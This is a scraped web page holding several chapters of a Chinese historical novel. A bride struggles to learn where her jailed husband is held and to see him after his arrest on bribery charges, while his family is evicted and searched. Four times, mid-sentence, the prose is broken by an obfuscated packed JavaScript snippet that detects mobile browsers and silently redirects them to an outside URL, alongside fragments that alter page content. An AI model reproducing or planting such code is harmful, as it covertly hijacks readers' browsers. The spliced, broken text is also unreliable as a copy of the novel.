“这我晓得。”柳图在门口转身说,“要是得了消息,再晚我也让人捎个话来;若是一时打听不到,你也切莫心焦。” 这一晚计宅没有接到任何信儿,柳乐一夜辗转反侧,天未明就急忙爬起来,去婆婆屋外候着。 其他人也都到了,只听屋里传出计衔山的咳嗽声,计春的劝说声,计晴的哭泣声。 原来计衔山毕竟有了年纪,昨日一早还欢欢喜喜盼子归来,到了傍晚却忽闻儿子被官府缉了去,且不明情由,不免急火攻心,夜间犯了痰疾。这时候他气喘得说不出话,还坚持要出门,要进宫面见皇上。大家劝说不住,乱作一团。 “请了太医没有。”柳乐问。 “请过了,往常给你父亲看病的卢太医被宫里召去了,说是另派一位吴太医来,现在还没来。”董素娥呆呆望着面前不知何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648604|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,突然哭起来,“是不是晨儿真出了事,如今连我们家人家都不肯沾惹了。” “母亲别这样想,他们事情多,恐怕一时走不开。我知道一位太医,先前给我爹看过,看得也还好,不若我去医馆请他。你和父亲要好好保重。现在什么都不知,我们先别自个儿吓坏了自个儿。晨大哥的事,我哥哥已经去打问了,一有消息他马上就来。今日散朝,无论如何会有准信了,若那时还没有,我就进宫求见皇上。”柳乐坚定地说。 “今日是二十九,没有朝会。”高娴从旁提醒。 董素娥拉着柳乐哭道:“我的儿啊,你要进宫,不知准不准你进去。” “父亲身体要紧,我先找大夫来。”柳乐匆匆出了家门。 她寻着太医,请他尽快去计家出诊,再拐过两条巷子,便是柳宅了。柳乐让马车停在巷外,要巧莺悄悄去叫柳图。 不一会儿,巧莺一人跑回来说:“大爷这时不便出来,让我们快回,一会儿怕就有人去。” “谁去?做什么?大爷知道什么了?” “大爷说他实在没打听到更多,只知今早上便要宣旨,他说事情怕是不太好。不会要姑娘接旨吧,咱们快去看看。”巧莺着急道。 柳乐这时也真正惊惶了,一路心急如焚。走到计宅的巷口,马车停下,她掀帘一看,一行人正朝外走,居中一人身着绯色官服,大摇大摆骑在马上,前后又有十来人跟从,看来正是宣旨的官员。 等他们走远,柳乐下车一瞧,又是一惊:四五名持刀兵士立在门首,围得宅门连只飞虫都不得自由出入。看她走近,兵卫们倒是让开了,也不喝问阻拦,但随即将马车查检了一番。“速速进去,老贼驴。”他们将赶车的粗暴一搡。这车夫在计家多个年头了,极是个忠厚人,见状敢怒不敢言,含泪拉马进去。柳乐强忍愤怒,奔至前厅,只见董素娥和高娴啼哭不住,计春在一边长吁短叹。 “怎么了?父亲怎样?” “扶他去躺下了。怎样?他连路都走不得,还想带他去!”董素娥大放悲声。 “晨大哥他……”柳乐不敢再问。 董素娥说不成话,高娴便指指计春,计春道:“说二弟从荥阳走以后,又派去一位钦差督工,刚去便发现坝上偷工减料,填的石料不够数。查下来,那边供出是二弟作准的,说二弟早就收了贿赂,故意出了少工少料的方案,为的是能缩短工期,好名利双收。” “已经定了罪?”柳乐问。 “还没有,现在是收监候着,还要拘荥阳那边的人犯进京,双方对理后再审。” 董、高原是吓得呆了,只弄明白三四成,计春再讲一遍,方晓得了个大概,一时都止了哭,愣着听二人说话。 柳乐此时心已放下一半,“知道缘由就行。晨大哥为这一处大坝费了那么多心血,他说要建成什么样子,用多少工料,一定就该是那样,绝不是糊弄人;而且那方案早就有人看过,都说可行。就算他对筑造过程不是每一步都在行,被那边瞒报了石方,只要再重新算一遍,两边一对,很容易对出来。荥阳的人何时能到,这期间难道一直关着晨大哥?” “可不是要关着他!我也说晨儿不会,可他们为何,为何还要抄咱们家呢?”董素娥喊道。 11. 搜身与府衙 “要抄家?”柳乐愣住,“所以门口站着那么些人?案子都没审,有没有罪且不知,凭什么抄家?” “没说抄家。”高娴向她摇头,悄声说,“限我们三日内搬出去,这屋里的东西一概不许动,都要细细搜查。” “搜查什么?受贿的银两?”柳乐冷笑道。 “老天爷知道他们要找什么。”董素娥哭了几声,忽地想起一事,向柳乐问,“他可给了你什么没有?若有,快拿出来,说不定就救了他了。” “晨大哥不曾给过我任何可能是赃物的物件。”柳乐立即坚定地回答。 “我这一慌,脑子里都乱了。”董素娥拉着她,哭得几乎站不住,“你也是个可怜孩子,嫁给我儿才一日,你们就生生分离,又出了这档事情。” “母亲,我不怕也不怨,晨大哥很快就会没事。”柳乐扶董素娥坐下,转头问计春,“大哥,他们还说要带走父亲?” 计春又叹起气,高娴哭道:“他们说家里有职的都要带走审问,留下我们几个妇人家,可怎么办哪。” 计晴从后面过来,听见这几句话,未及细问情由,只道是天塌了一般,与大嫂抱头痛哭。一家子正凄凄惨惨、惶惶惑惑之时,管家又慌张地奔进来报说:“卢太医来了。” 董素娥急忙擦泪,柳乐等还不及避出去,那位早晨没请到的卢太医跟在一群官差之后走进大厅。差役们分列在两面站定,领头一位官员把脸转向卢太医,卢太医背着药箱,喘吁吁地上前问:“计大人现下在何处?” 董素娥看见人多,不由得腿脚发软,管家赶紧领太医向正屋走去,除却几名公差,其余人都一起跟着。 过了半刻钟,卢太医出来,朝那官员使个眼色。 官员对董素娥笑道:“计大人贵体抱恙,由家人侍奉休养,不敢打扰。请计寺丞随我们走吧。” 计春怕惊动父亲,立刻就到厅上来了,转身对董素娥道:“母亲不要过忧,此去未必是坏事,若能见到二弟,你们也好放心。父亲那里我先不去辞了,你们多保重。”向高娴看一眼,“照顾好爹娘。” 高娴哭得泪人儿一般,“你们带他去哪儿?等一等,带上些衣裳。”她向房间跑去,两个女孩计筠、计筱先前不知躲在哪里,这时都扑上来抱住计春双腿哭喊“爹爹”。 计春摸摸女儿的脑袋,示意养娘拽开孩子。 此一情景令人见之心酸,一干管事家人不禁都红了眼眶,官差却不为所动,只管催促计春向外走。 柳乐冲上前拦住问道:“计正辰关在哪儿?我们往何处送饭食?” 那人瞅都不瞅她一眼,只答一句:“计员外郎在哪儿我们不知。”便将计春推搡着出去了。 “你们是谁派来的?”柳乐追上去又问。 总算有个差人答了句:“我们奉府尹之命。” 高娴抱着包袱赶来时,计春已出了大门,正被押上一辆车。一名差役抓过包袱,高娴还想跟出去,被守门的兵士举刀格住。 “不许我们出门?”柳乐质问。 “出门可以,要先搜身。”守卫说着,拿眼向她胸前一扫。 强自抑住好久的悲愤一下子冲上脑门,柳乐不顾官差还在门前,不顾街上还有人看热闹,抡圆胳膊使力扇了对方一巴掌,“干脆把我也抓去好了!” 那人挨了一下,瞪起眼,却也理亏不敢还手,向四周看看,讪讪地嘟囔道:“咱们也是奉命,冲我刁什么?” 高娴拽过柳乐:“先进去吧,我们再想想办法。” 官差走后,宅院内一片死寂,只在计衔山屋外有压低的话语和抑不住的啜泣声。 柳乐一早请的太医已在外面候了多时,此时才放他进门。医者诊过计衔山,并无甚大碍,给他服下几粒安神丸,躺下睡好,又开方子,见计家不便取药,便说煎好让人送过来。董素娥千恩万谢,称出二两银子,送走太医,回屋悲道:“刚才卢太医过来瞧什么,你们父亲病成那个样子,还能是装出来的?” 柳乐忿忿地说:“他们行事哪有道理?莫说根本无凭无据,就是晨大哥身上真有不妥,也不能抓走家人。现在倒要我们为个莫须有的罪名连坐不成?” “说是家人也要问话,总不会还要来问我们?”高娴直愣愣瞪着她。 “来问倒好了,我也有话说呢。”柳乐冷哼道,“说我们全家串通,说家里藏着赃物?好么,现在不给我们出去,府里还有这么些人,总得要吃饭吧。” “让管事的去想办法。”董素娥悲叹连连,“你们回屋看看,紧要的东西收拾出来,就怕真的随时来抄,书房都已叫人封了。” 柳乐去书房外面一瞅,果然几间房门上都贴着封条,有一名军牢站在门口把守。她知道计晨书房中所有只是书籍、纸笔等物,无论那些人想找什么,定是找不到的,可是眼见别人要糟蹋自己珍视的东西,怎不令人生恨。柳乐仿佛看到计晨一本本买来的书被人撕毁的撕毁,抛掷的抛掷,眼里简直冒出火来。她三两步跑回卧室,打开妆台抽屉,取出计晨的来书,匆匆读了一遍。 信中自然有些情意绵绵的话语,但也并不过露。因为他们少年相识,多年来一直是朋友,又似兄妹,即便成了亲,也还是亲切多于缱绻。但她依然不愿这些信让别人看到。 她写给计晨的信甚至还要更平实,只是记叙自己日常所做所感。想到计晨或许将这些信带在身上,此时恐已被人搜了去,读来嘲戏取乐,她攥紧了拳。 柳乐捏着几张信纸坐了一会儿,又来到董素娥房间对她说:“母亲,晨大哥给我的信,全在这里了。我想晨大哥还是信任我的,他心里有事,不会有意瞒我。这些信里也提过他的公事,虽不多,但每个字都坦坦荡荡,请母亲过目。” 董素娥摇摇头,挤出一个慈爱的笑:“不用看,我还信不过他,信不过你么。” “母亲,晨大哥必没有事,咱们也不必害怕。”柳乐勇敢地说,董素娥只是心不在焉地点头。 “那这些,我就烧了。” “烧了罢。”董素娥乏力地摆摆手。 处理好书信,柳乐刚在床上歪着歇了片时,听见前头又嚷嚷起来,急忙去看。原来计衔山醒了,不肯吃药,挣扎着起床,口里喊着:“叫人来搜,搜不出,便会把晨儿放出来了。” 董素娥苦劝:“你先喝了药,你这样子别人也不敢来。等你好些,咱们搬出去,随他怎么翻。” 计衔山抢过药碗一口吞了,又一迭声令管家去找住处,即刻就要搬出去。 董素娥无法,只好当面吩咐管家先赁几间屋子,住得下家里几口人、能够生火做饭、一家人好临时落脚的,管家答应着去了,计衔山才安稳下来。 一时管家媳妇又来报说:“前后门的守卫全部换了,也来了两个穿裙子的。” “女牢头。”柳乐暗自哼一句。不过还有很多事要赶紧去办,也顾不得被搜身的羞辱,“我先去找我哥哥一起商量商量。”她告诉董素娥,想着家里的马车大概是不便出去了,遂让人雇一辆车等在后面巷外,回屋换了身不显眼的衣服,手上提一顶帏帽,同巧莺去了后门。 只见守卫的装束果然与之前有别,样子也严整了许多,个个笔直站着,眼睛不四处乱看。旁边小房内出来了两个妇人,布衣素裙,打扮得且是干净利落。柳乐走上前说:“我们要出门。” “请去吧。”两个人齐声答道。 “你们还是仔细搜一搜,省得回头再说我把涉案金银、物件偷带出去。” “不敢不敢。”两人直摆手,“我们是街上做浆洗的,老爷叫我们来贵府听候吩咐,怎敢对夫人小姐们不敬。” “哪位老爷?” “我们也不认得,不敢乱说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648605|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,左右是位官老爷。” 柳乐虽疑惑,见她们不说便罢了,倒不好意思,也向二人笑笑,出去找到车,向车夫说:“去府衙。” 柳乐心一急,没算好时候,赶到知府衙门时刚过了正午,一般人都吃饭休息去了,衙门口亦不见什么人。她一手扶着帽子,从胳膊两旁偷偷向左右望了一阵儿,只见到三两个平民眼也不抬地打门首经过。再犹豫了片刻,她一拉巧莺,急匆匆走进去。 从大门至仪门一路无人拦问,柳乐直入大堂,明镜高悬几个字下面空荡荡的,只有一个身穿号衣的小衙役正在扫砖缝,闻声他立起身,双手拄在扫把上,将柳乐细细打量了半晌。 柳乐上前问:“府尹在不在?” 小衙役笑道:“府尹老爷今日有公事出去了,若要报案子,报于吏目也是一样。”说着作势要向后头去叫人。 柳乐怕又是见到早上去计家那冷言恶语的官差,忙拦住他:“我是想问问——今日这里有没有进来一个人?” “府尹老爷一日都不在,也没有大人来访。” “不是——是被带进来的。” “你是说提来的犯人啊。”小衙役神情立马变了,懒洋洋塌下背,拖长腔道,“每日都有抓进来的,犯人的名字叫什么?” “不是嫌犯。”柳乐怒目瞪他,又忍气吞声地说,“姓计,计策的计。” 小衙役嘴一撇,“我不识字,不懂什么计不计,我去给你问问。”说着,却不动。 柳乐忙从袖中掏出一块碎银递给他,不由得脸就红了。 小衙役大大方方接过银子,看了一看,揣进袖里,脸上堆出笑:“你别急,稍等一等。”转身入内,半天方出来,“这儿就一个人姓计,上午刚来,叫做计正华的。” 柳乐听他说的是计春,心想那差官并没骗她,看来计晨确实不在这儿,不免失望,又问:“计正华是收在监里?可否允人探望?” “设班房做什么用的?案犯自然都关在里头,能不能探望我倒没问。”小衙役一面说,一面好奇地拿眼瞅着柳乐,“你是计正华什么人?” 巧莺气得娥眉倒蹙:“你又是什么人,就敢盘问我们?无凭无据关押人,还不许问,衙门是这样设的?咱们就等你们老爷回来,当堂评一评谁有理。” “哟——”小衙役跳开去,“姐姐莫怪我,我倒是好心给你们打问来着。本来家眷可以进监送饭,但这位大哥不知是为什么,上头一概不许人来探他,也不让我们多说。刚才就明明白白告诉我,只要有人问姓计的,一律回说不知道。你们与我纵扯破嘴也没用。”他见二人发愣,又凑近悄声道,“不过我看并不碍事,只要打点打点,在里头都好过。既托了我,这一两日我替你们想个法子,包他饿不着。要想见人,你们快回去另外寻人疏通。”他指指袖子,“这个分上,哪有不方便的事?只要使足了,哪怕杀头的官司,都能给你砍一个痛快的。行了,又有人来了,二位请便。” 来人是问一件失盗官司的下落,小衙役引着往后去了。柳乐呆站着,心里直犯愁,不知府尹是真不在还是假不在,他不肯露面,看来是打听不到更多了,他们这般严密防范又究竟为什么,而计晨,如今到底在哪儿? 巧莺劝她说:“总算计大爷有个准消息,咱们回去告诉太太大奶奶,要她们快想办法送衣食进去。二爷……要么换个地方问问,姑娘你说他会不会在……” “去大理寺。”柳乐咬着牙说。 大理寺门首威严,气势凌人,比京兆府又不同。檐下两根合抱不拢的立柱,支着兽口般的门廊,令人望而生畏。两年多前柳乐来望禹冲时,并未注意这些,如今她也未注意,只是当日在监牢内的场景重上心头,她浑身冰冷,扶住巧莺:“只怕又不给见。这般没头乱闯,人家只道我们是束手无策,越发随意打发,先回去探听明白了再来。” 12. 搬家和大理寺 计宅里还是一片乱糟糟的,高娴先出来迎柳乐,柳乐忙告诉了府衙的情形,高娴叹道:“既饿不着就罢了,如今也顾不得许多,倒是二弟……唉,父亲一定要先搬出去才行,母亲又遭人骗了。” 高娴便把家中出的乱子讲了一遍:原来计衔山执意要立即搬,董素娥只得命人找房屋。管家带了个小厮,找到中人,看了几座宅院,其中一间两进的院子勉强合意,因要小厮回家先问一声,若好就拿五两银子定钱来。 那小厮见了董素娥,只把宅院天花乱坠吹上一通,又说管家要拿五十两银子,立即就写妥文书,省得被别人抢了去。 董素娥近些年虽还管家理事,可是和外头人打交道是很少亲自出面,不大懂这些,听见是管家的话便不疑有他,从箱中拿出五十两银子封了交与小厮。谁知那小厮带着银子,又顺手偷了屋内几样值钱物件,出门便再无踪影,不知去向。 管家等不及回来时,董素娥才知道吃了自家人算计,无奈计家身上还缠着官司,哪来的工夫再去报官缉拿盗贼,只是这口气不好咽下去,这才吵嚷起来。 “母亲胡乱疑别人,他们为去疑心便要走,到明日,只怕留不下一半人了。——要搬去的地方挤不了这些人,母亲又不放心谁留在家里。”高娴说。 柳乐恨不得转头再上衙门吵一场,并不为心疼五十两银子,也不是单恨那做贼的小厮,恨只恨莫名其妙天降横祸,又屋漏偏逢连夜雨。明明清清白白做人,却不能挺直腰杆,要被人家欺到头上来,如何气得过? 高娴没精打采地说:“你快去收拾吧,明日就要搬家。” 柳乐醒过神:这只是开头,后面的难事还更多,如今先气得狠了,往后怎生应付?想到此处,她强打精神,将诸般烦恼抛至脑后,先去填饱肚子——这一整日还粒米未进,只因身心俱疲,连饥饱都觉不出了。 吃过饭,柳乐难免再想些话去安慰婆母,劝她不要过于着急,案子的事暂缓一二日不妨,先妥当搬了家、安顿好计衔山方是要紧。董素娥又有许多牢骚哭诉,柳乐借口要收拾东西,告退出来,回到屋内倒头便睡。 次日一早,果然有不少家人请辞——头天,董素娥已撵了两个看来不省心的小厮,剩下的十来口人,她寻思如今没有余力都养着,正好借此事清一清,便令管家召集家下人一一问明:有身契的可拿原价一半赎出去,没有身契的多给一月月钱,由各人自便。计家早先是小官之家,并没几口人,后头计衔山渐渐升了官,家业壮大,才或买、或雇添了些家丁,这些人既非长久在计家做事的,见计家一夜之间颓败,大半都宁愿走,就是仍被转卖,也并不十分担忧。 董素娥见仆役们大有一拍而散之意,又慌了,忙好言安抚,留下了不可少的几个:管家两口子,灶上买菜做饭的两位厨娘,两名小厮,一名丫环,高娴、柳乐、计晴各一名丫环,并计筠姐妹俩的一个奶妈。——其实董素娥暗地里仍嫌丫环太多,却没几个能做粗活,但首先柳乐的巧莺是从柳家跟来的,柳乐当然不许她走,而且若各人身边连一个丫环也不留,太不成个样子,最终只好如此。 这一日,为打点搬家要带的物件,各人都忙忙活活,又来了亲朋探问,直乱了一整天。傍晚时,董素娥让人雇好两辆马车、两辆大车来接,趁邻家正吃饭的时候,匆忙搬了几卷衾褥行李装上车,拉了全家人来到租的宅子。当夜天已经晚了,急忙分配好屋子:计衔山和董素娥占了三间正房,两边的耳房给计晴和两个孙女住,高娴和柳乐则分别住东西厢房,余者管事和家人媳妇等都挤在倒座内。 擦桌扫床,铺设被褥,又是一番忙乱,就寝时已到三更天,各自歇息,一宿无话。第二日一早起床,大家看清楚这院子有多么细窄,房屋多么狭小,心内愈发冰凉。 连柳乐也没住过这样小的屋子。柳家宅院同样是两进,但宽度足有这里两倍不止,她那间耳房比这里厢房还要阔大;再去看这儿的耳房,比鸽子笼好不了多少。不过柳乐不太在意,屋子收拾干净,能睡觉就行,其他人是过了好些年高堂广厦,仆役成行的日子,一夜之间就沦落到这等窄门窄户,岂能不心酸?计晴哭了一整晚,眼睛肿得睁不开了。 不过这里也有一样好处:地方偏僻,周围倒清净。现在董素娥最怕的就是遇见老熟人老街坊,此处也有几家比邻而居的,不过都是些破落户,自顾不暇,哪里还管隔墙的闲事。 柳乐本担心各色人等混杂,怕有翻墙偷盗之事,或有泼皮无赖骚扰,不想此处日夜巡逻打更的倒很准时,从无迟、漏,进出了几次,也没发现贼头鼠脑的人,渐安下心。此是后话。 且说搬家的第二日,柳乐不敢再耽搁,急忙去找柳图,寻个僻静地方,悄悄问:“哥哥,晨大哥会不会是在大理寺关着?” 柳图有些惊讶:“这我还不知道,你从何处得知,可确凿么?” 柳乐将前日的事如此这般说了,道:“哥哥你不是说府尹拿不了他,再说这种案子本该归大理寺管,我猜多半就是那里了。不过为何将计春大哥单独收在府衙,是不是他们兄弟也不许相见的意思?又说不许家人探望计春大哥,那要探望晨大哥恐怕更难了吧。” 柳图皱着眉:“按常理肯定是在大理寺,只是一点消息没透出来,我才犯嘀咕。如此说来,该当是你说的意思,不许计晨和家人见面,所以才不告诉人。既不许见,关在哪儿倒也区别不大。” “知道在哪儿才好想办法,就是见不着,多探些消息也好。”柳乐说着摇了摇头,“不行,必须尽快见到晨大哥,他父亲已经生了病,他母亲也担心得厉害,万一都病倒……还有爹爹,肯定也瞒不过几天了。无论如何我先去一趟大理寺。哥哥,你能找得到什么门路?” 柳图与妹妹的目光接上,急忙低下头,来回踱起步,“我想一想,此事非得求到大理寺卿或少卿大人头上才行,以下的人恐怕使不上力,可咱们和他们没有深交情,不然那时……” 柳乐懂得哥哥没说出的话:若打点得上,当日也不至于禹冲被判了流刑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656196|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候柳图和计晨都为禹冲奔走过,可最多只能使他在牢狱中不缺了吃穿,并影响不了审案、改不了判决。她想去见禹冲,但因没有定亲,算不得他的亲人,不便前往,尤其是柳图不肯要她去。她并非想要威胁家人,可她整日整夜不吃不睡,柳图实在看不过了,才带她去了一回。 如今她是计晨的妻子,她当然要去。 她对柳图说:“没关系,哥哥不必烦心,也不是非得求他们。我先去大理寺看看,我想我一个妇人家,想要看望丈夫,并不算大不得的事情,说不定便允我去了。只是几位大人都是谁,哥哥能不能先说与我听。” “大理寺卿是郑则愈大人,前不久他的老母亲过世,报了丁忧,回家去了。不过他本也不审案子。两位少卿,李元大人如今暂代郑大人,另一位是方见微,若在大理寺,案件八成会经他之手。”柳图看看柳乐,斟酌着慢慢说,“两年前也是这位方大人主管审案,那时他刚到任上,可惜我们互不识得,我也没直接找过他——同你去的一次只有当时的狱丞知道,谁知这人后来染病死了,不然我倒可以再向他打问。反正如今大理寺不会有人知道你,估摸也没人记得我。” 柳乐垂目想了一回,“我去碰一碰,被人认出也没什么,一事归一事。” “你若去,不要拣早上,他们上午审案,不相干的人不准进,中午下午再去。还有,方大人有个不好通融的名声,可千万别在他身上使银钱,搞不好落个行贿的把柄。” “我记着了。目前还不需去求他,只看他如何审案,若不公道……”柳乐咬了咬嘴唇,黯然地说,“我公公年迈患病,不得走动,大伯暂且又叫关押着,有些事我打听不到,只好劳烦哥哥多帮我。” “这是什么话,”柳图忙笑道,“妹妹放宽心,别说是妹夫,就我和计晨的交情,见他遇事,还能不理?我肯定想办法,你也不要怕,有拿不定的事只管找我,咱们商量,往衙门或者往家里送信都成。” 柳乐喉咙一哽,半晌说:“我先回去了,哥哥也回吧。” “等等,还有几句话。”柳图一面说,一面在日常所携装公文等物的皮袋中去掏,“你们搬家的事,我已告诉母亲了,我怕她万一跑去不见人,还不得着急,反倒叫父亲听见。” “娘没太担心吧。”柳乐不安道。 “没有,娘看得开,只说要你别急坏了。——这些拿上。”柳图掏出一只布袋塞到柳乐手里。 柳乐隔着袋子一摸,摸出是一大包碎银子,约莫重二三十两,慌忙要还给柳图:“用不着,晨大哥那时留了些钱,平日没有用处,还剩着不少呢。” “收着收着。”柳图连连皱眉,“你日常花用。我知道你们搬家肯定匆忙,东西未必带得齐全,有些急用的尽管买,不够了我还有。”他硬是把银子留给柳乐。 柳乐回到新的居处,正逢高娴也从衙门回来。一问,还是没给见人,只把饭送了进去。柳乐瞧时候不早,赶紧收拾几样东西,往大理寺去了。 13. 牢子和寺丞 因已到了下午,公堂空敞着无人,柳乐停下想了一会儿,拐到旁边牢房院子。大理狱和大理寺衙门在同一道巷内,中间隔着院墙,另有出入口。柳乐来过一次,依稀记得探视囚犯是走东边一道小门,过去一瞧,门口站两个皂隶,又闻院子后头有些嘈杂之声,她径走上前,提提手中的食盒:“我来送饭。” 两人都盯着她看,一个伸出手:“字条?” “什么字条?”柳乐问,“我头一次来,不熟悉你们的规矩。” “探看囚犯,须得寺丞大人批准,写在纸上,盖了印信,拿来我们瞧过,方可入内。” 柳乐轻轻顿一下脚,懊恼道:“我不知还要这个,不曾备得。只是东西已带了来,怕凉了不好吃,还请大哥行个方便,先为我拿进去。”不待人问,她便说,“送给新来的一位,叫做计正辰,有劳大哥了。” 她细觑二人神情,见无异样,暗道果然没料错,心里振奋了一些,脸上摆出更着急的表情。 “打开——”一人向食盒示意。 柳乐忙揭开盖子让他们瞧,里面装的是她刚才在街上买的一屉烧卖。 那人瞅了瞅,抓起一只塞入口中。 巧莺赶紧把手中拎的一壶酒和一只烧鸡递上去,“多承大哥帮忙,感激不尽,两位大哥请用这个。”她将包着烧鸡的纸撕开口,香味一阵阵飘出来。 两人一笑,大刺刺接了酒和鸡,却又看着柳乐说:“带进里面的东西都得检查,你一个个翻开,要么我们自己翻。” 柳乐压根没想过送饭时夹带物品进去,可他们却有理由起疑,她只得忍耐着,把烧卖挨个拿起来,让他们看清下面什么也没藏。 她知道这些牢子狱卒都是粗鲁蛮横之人,但并不怕他们,因己身无罪,也不感到羞耻,可这时候在两个人四只眼睛注视下,她的手指不禁有些哆嗦。 好容易把烧卖都翻过一遍,柳乐抬眼盯住他们,狱吏再不说什么,一人抓过食盒,转身进里面去了。 等他出来还回空盒,柳乐问:“请问大哥是交到计正辰手中吗,他可说得什么话?” 狱吏笑道:“他没话给你。有,我们也不敢传。”说罢,和另一个互瞧一眼,两人自管哈哈大笑。 柳乐气得扭头便走,出来问明管犯人的寺丞所在,瞅空上前行礼道:“大人,小妇人乃计正辰的家眷,家夫因被告收取财贿、督工不力一事,收监在此,已有二三日了,家人日夜着急,乞大人开恩,准许探望。” 寺丞看看她,捻着胡须说:“此案特殊,必须方大人点头才行。方大人不许,下官做不得主。” “何处特殊?”柳乐问,见他只是支吾,便说,“那么求大人引我去拜见方大人。” 寺丞又是摇头:“案子还没审,方大人要避嫌疑,不能见你。” “方大人何时会审此案?” “这个还说不准,要等共案之人全部到京,方可过堂。” 那天计春也是这样说的,柳乐无法,又问:“既然官司一时结不了,为何不能允家人先进去探视?便是立斩的大盗,若有亲人,尚能见一面。家夫不曾定罪,至多算个疑犯,却将他严密关押,隔绝亲人,于理于法不合。莫非已对他滥用了刑罚,怕人知晓?” 寺丞收起笑脸,指柳乐道:“你这小女子,休要胡言。计正辰一案重大,圣上也要过问的。倘有同党在外,借探视之机与案犯里应外合,销毁赃物证据,谁担干系?方大人断案自有条理,你且去候着,传家人时你再来。犯人衣食我们自会照管,不消乱疑。” 柳乐冷笑说:“堂堂大理寺,这么多查案官员,连个里应外合都防不了?实在不放心,会面时请大人在场监视总可以吧,若我们是窝家、同党,正好一网打尽。” 寺丞亦冷冷答道:“人多乃是由于事多,每日少说十余个状子递进来,都丢下不理,单为你们行方便?下官还有事情,请回吧。”说罢走去别处,闭门不出了。 柳乐干生气了一会儿,转身慢慢回家。 以后她每日都来,几位寺丞都见过了,几人都是一样声口,无非推脱之语,而那位真正主事的方大人却是神出鬼没,无论如何设法,总也见不着他一面,得不着一句准话。就连送饭一事,虽眼看着是送进去了,却如雪花落水,无声无息,让人通不得一点儿头绪。一家人无可奈何,每天垂头丧气。 事情过去好几天,还没搞清楚究竟是何名堂,饶是性子再好的人,也不免焦躁,况且柳乐本有几分性急,虽然知道无益,忍不住就要和那些当差的起争执。 这天,她带的饭食是一盒酥油鲍螺。这种点心是拿乳酪做的,最是一样美味的吃食。那些讲究吃喝的富贵闲人们,舌头上尝过了咸的鲜的酸的辣的,最后偏就想这甜而不腻、厚而不重的东西收尾——放入嘴中一忽儿就融了,只留甜香满口,再酽酽地喝一碗茶,当真赛过神仙。 但牢狱却又是最不能讲究的一个地方,任你先前过得是怎样穷精极雅,只要关进来不得自由,眼前见的便只有石墙铁栅,身下卧的只有土炕破席,鼻里闻的是屎尿汗臭,口中吃的当然也只能是相配的粗糙食物。若是穷人,家中赊些陈烂的米面、再挖几棵野菜做了送来,和他平日的饭食倒也差不太多;家境好的,能吃上米饭、包子,甚或有鱼有肉,可他原先在家吃用的,还要好上十倍,他习不习惯?——不惯着不惯着也就惯了,只求能填饱肚皮。谁家里会为他口腹享受,送酥油鲍螺这种宴席上端出来的精致点心? 门口两个牢子打开食盒,果然先笑起来,一人拿手夹了一个,一口送入肚中,舔着嘴唇道:“香甜是香甜,未免不够实惠。” 柳乐由他们取笑,只作是耳旁风。 等牢子送进东西出来,她便问:“可是送到计正辰手中,他说什么没有?” 牢子像往常一般答复几个字:“送到了,无话。” “他没说一个字?” “咦,”牢子瞅着她笑道,“想是今日专门费工夫做了这些来,指望他说一句:‘告诉我的娘子,待我出去,一定好好报答她。’” 柳乐一张脸铁青:“他从来不吃牛乳羊乳,看到家里送这样东西,定有话要问,可知你们根本没送给他!他究竟在哪儿?东西又送哪里去了?” 那牢子见被说破,扯着嘴勉强笑了一笑,口里说:“我们又没要你送饭来,也没饿着他,吃什么不是一样?你不送,咱们还少一道麻烦。” “如何不早说?”柳乐怒冲冲迈上一步,直逼到这两人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667329|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 旁边一位妇人瞧见,把柳乐拽到她身后,从中劝解说:“这两位大哥平日也是火热心肠,好与人结义的,就是嘴巴油,口里没正经惯了。你们也不看这位娘子是大家举止,腼腆脸嫩,哪能和对我们一般。你们把规矩和她明明白白说了就是,不然告到你们老爷那里去,难道咱们的青天大老爷还许你们消遣人?” 